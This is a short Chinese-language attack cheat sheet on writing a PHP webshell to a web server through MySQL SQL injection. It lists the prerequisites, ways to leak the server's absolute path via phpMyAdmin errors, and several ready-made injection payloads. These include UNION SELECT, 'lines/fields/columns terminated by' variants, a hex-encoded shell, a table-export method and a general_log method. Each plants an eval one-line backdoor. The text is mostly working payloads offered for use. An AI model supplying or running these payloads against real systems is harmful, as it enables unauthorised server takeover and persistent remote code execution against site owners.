sql语句利用into outfile写入一句话
利用需要的条件有:
1、对web目录需要有写权限能够使用单引号
2、知道绝对路径
3、没有配置-secure-file-priv(在mysql的配置文件中需要有一句 secure_file_priv=” ,没有的话自行添加或修改)
检查Mysql这个参数的值:show variables like ‘%secure_file_priv%’; 默认路径:/var/lib/mysql-files/
当知道路径时,可以直接用?id=1 union select “<?php @eval($_POST[‘123’]);?>” into outfile “C:/phpStudy/WWW/a.php”
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile “E:/study/WWW/evil.php”
或者采用PHPmyadmin,选择一个数据库如test,在数据库中新创建一个表aa,在aa中插入一个数据<?php @eval($_POST[‘123’]);?>,然后用select * from aa into outfile ‘C:/phpStudy/WWW/a.php’; #将aaa中的数据导出到文件a.php
报错得到绝对路径
利用mysql数据库爆网站绝对路径方法
使用phpmyadmin的某个文件报错
phpmyadmin爆路径方法 weburl+phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/libraries/select_lang.lib.php
常见写入方式
union select 写入:
1’ union select 1,2,’<?php @eval($_POST[cmd]);?>’ into outfile”C:\phpStudy\PHPTutorial\WWW\shell.php” —+ 1’
union select 1,2,’<?php @eval($_POST[cmd]);?>’ into outfile “C:/phpStudy/PHPTutorial/WWW/shell.php” —+
注意:在windows下,位置的分隔符为 / 或 \。
lines terminated by 写入:
id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ lines terminated by ‘<?php @eval($_POST[cmd]);?>’ —+
id=1’ limit 1 into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ lines terminated by ‘<?php phpinfo() ?>’ —+
通过select语句查询的内容写入文件,也就是 1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ 这样写的原因, 然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。
fields terminated by 写入:
?id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ fields terminated by ‘<?php phpinfo() ?>’ —+ 利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。
COLUMNS terminated by 写入:
?id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ COLUMNS terminated by ‘<?php phpinfo() ?>’ —+
利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。
USE mysql;# MySQL 返回的查询结果为空(即零行)。# MySQL 返回的查询结果为空(即零行)。CREATE TABLE a(cmd1 text NOT NULL);# MySQL 返回的查询结果为空(即零行)。# MySQL 返回的查询结果为空(即零行)。INSERT INTO a( cmd1 )VALUES ('<?php eval($_POST[cmd]);?>');# 影响列数: 1# 影响列数: 1SELECT cmd1FROM aINTO OUTFILE '/data/www/heneng/cp/mm.php';# 影响列数: 1# 影响列数: 1DROP TABLE IF EXISTS a;# MySQL 返回的查询结果为空(即零行)。# MySQL 返回的查询结果为空(即零行)。
利用log写入
show variables like ‘%general%’; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = ‘E:/study/WWW/evil.php’; #设置日志目录为shell地址
select ‘<?php eval($_GET[g]);?>’ #写入shell
set global general_log=off; #关闭general log模式
